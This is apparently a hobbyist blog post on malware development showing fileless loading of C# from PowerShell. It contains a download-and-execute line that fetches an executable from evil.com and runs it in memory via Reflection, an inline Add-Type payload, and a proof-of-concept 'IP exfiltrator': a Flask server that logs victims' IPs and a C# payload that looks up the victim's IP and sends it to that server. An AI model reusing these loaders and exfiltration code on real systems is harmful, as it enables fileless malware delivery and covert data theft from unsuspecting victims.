Introduction
Some time ago I watched John Hammond’s video on this topic and thought this would a be cool method to minify and showcase.
Disclaimer: I am a beginner to malware development, C#, and Powershell, I would appreciate criticism.
Explanation
Firstly, we need to understand the most common way of loading C#, via an executable:
-
Fetch executable content and encapsulate in a byte array.
-
Load executable content using [System.Reflection.Assembly]::load() method.
-
Use Reflection to execute our loaded assembly.
The code below follows these steps:
$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)
# Create entrypoint object and call it.
$entry =
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entry.Invoke($null)
C# Strings
Instead of compiling and downloading an executable, why don’t we just supply a multiline string with our desired C# code and “load” it like so:
Add-Type @"
using System;
public class Payload {
static void Execute() {
while (true) {
Console.WriteLine("wow :O");
}
}
}
"@
$pl = New-Object Payload
$pl.Execute()
Now I know if you want to structure your code like a good programmer, with multiple files and DLLs, this looks a little bad. The big plus with this method is the fact you don’t need to download or store executable byte-arrays in your script.
Proof of Concept: IP Exfiltrator/Logger
As a simple proof of concept we will by building a basic IP logger, the script grabs the victims IP from https://ipinfo.io/ip and exfiltrates it to our evil URL.
The Server
The server I wrote is written using a Python micro-framework known as Flask, you can find the code below:
from flask import Flask, request
app = Flask(__name__)
database = [] # Psuedo database
@app.route("/")
def index():
ip = request.args.get("ip")
print(f"[!] Grabbed IP: {ip}")
database.append(ip)
return "status: 200"
# Driver code
if __name__ == "__main__":
app.run(port = 8080)
The Payload
In all honestly the payload could have been written better, requests could be handled through a single function instead of opening multiple HttpClient instances, but I have to remind myself this is just a PoC. The code is below:
Add-Type @"
using System;
using System.Net.Http;
public class Payload {
public static string HandleGrab() {
using (var client = new HttpClient()) {
var ipEp = new Uri("https://ipinfo.io/ip");
var res = client.GetAsync(ipEp).Result;
return res.Content.ReadAsStringAsync().Result;
}
}
public static void Execute() {
using (var client = new HttpClient()) {
var ipAddr = Payload.HandleGrab();
// Exfiltration process
var endpoint = new Uri($"http://localhost:8080/?ip={ipAddr}");
var res = client.GetAsync(endpoint).Result;
var resJson = res.Content.ReadAsStringAsync().Result;
Console.WriteLine(resJson);
}
}
}
"@
$pl = New-Object Payload
$pl.Execute()
If everything runs smoothly you should get a log like so:
Fin
Hopefully someone found this at least interesting.